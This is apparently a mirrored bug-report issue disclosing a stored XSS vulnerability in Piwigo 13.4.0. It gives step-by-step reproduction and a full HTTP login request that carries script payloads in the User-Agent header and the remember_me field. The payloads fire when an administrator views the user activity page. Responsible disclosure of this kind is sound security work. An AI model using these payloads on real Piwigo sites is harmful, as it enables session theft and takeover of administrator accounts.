adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-11-04 16:02:31 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

Piwigo-13.4.0-Stored XSS Vulnerability in User-Agent #1605

New Issue
Closed
opened 2026-10-05 00:50:04 +02:00 by adam · 0 comments
adam commented 2026-10-05 00:50:04 +02:00
Owner
Copy link
Copy source

Hello, I found Stored XSS in Piwigo version 13.4.0.
Impact:
In this way, ordinary users can be promoted to administrator users.

Here are the complete attack steps:

  1. Register an ordinary user.
    image

  2. Sign out.

  3. POST messages with burpsuite, and change User-Agent's data to xss-payload. Here's an example.

POST /src/piwigo/identification.php HTTP/1.1
Host: 192.168.2.153
Content-Length: 98
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.2.153
Content-Type: application/x-www-form-urlencoded
User-Agent:  <script>alert(document.cookie);</script> (<svg+onload=alert(1)>) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.153/src/piwigo/identification.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: phavsz=1445x798x1.25; pwg_id=ocv8aqqvjkdcshuv99j8l3ctub; pwg_tags_per_page=100; pwg_album_manager_view=tile; PHPSESSID=pfjer613d8pnr8ou8uj458i837
Connection: close

username=w1nd&password=123456&remember_me=<svg+onload=alert(1)>&redirect=&login=%E6%8F%90%E4%BA%A4

image

  1. Finally, when the administrator user logs in and visit /admin.php?page=user_activity, the stored xss will be triggered.
    /admin.php?page=user_activity

image

image

Please fix the vulnerability & let me know :).
Thank You!

Hello, I found Stored XSS in Piwigo version 13.4.0. **Impact:** In this way, ordinary users can be promoted to administrator users. **Here are the complete attack steps:** 1. Register an ordinary user. ![image](https://user-images.githubusercontent.com/71068573/208852813-4ff58926-0e8b-4940-bb4d-dcba99b4aeae.png) 2. Sign out. 3. POST messages with burpsuite, and change User-Agent's data to xss-payload. Here's an example. ``` POST /src/piwigo/identification.php HTTP/1.1 Host: 192.168.2.153 Content-Length: 98 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.2.153 Content-Type: application/x-www-form-urlencoded User-Agent: <script>alert(document.cookie);</script> (<svg+onload=alert(1)>) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.2.153/src/piwigo/identification.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: phavsz=1445x798x1.25; pwg_id=ocv8aqqvjkdcshuv99j8l3ctub; pwg_tags_per_page=100; pwg_album_manager_view=tile; PHPSESSID=pfjer613d8pnr8ou8uj458i837 Connection: close username=w1nd&password=123456&remember_me=<svg+onload=alert(1)>&redirect=&login=%E6%8F%90%E4%BA%A4 ``` ![image](https://user-images.githubusercontent.com/71068573/208853591-ff2301ae-6106-43a6-9769-96b76208922b.png) 4. Finally, when the administrator user logs in and visit /admin.php?page=user_activity, the stored xss will be triggered. `/admin.php?page=user_activity` ![image](https://user-images.githubusercontent.com/71068573/208853661-115ae9c5-2256-4425-a480-6ce41706b66d.png) ![image](https://user-images.githubusercontent.com/71068573/208853690-abc73865-40e4-4b67-9a30-d2ce80efad5c.png) Please fix the vulnerability & let me know :). Thank You! <!-- github-sync-id:1505891189 -->
adam closed this issue 2026-10-05 00:50:04 +02:00
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1605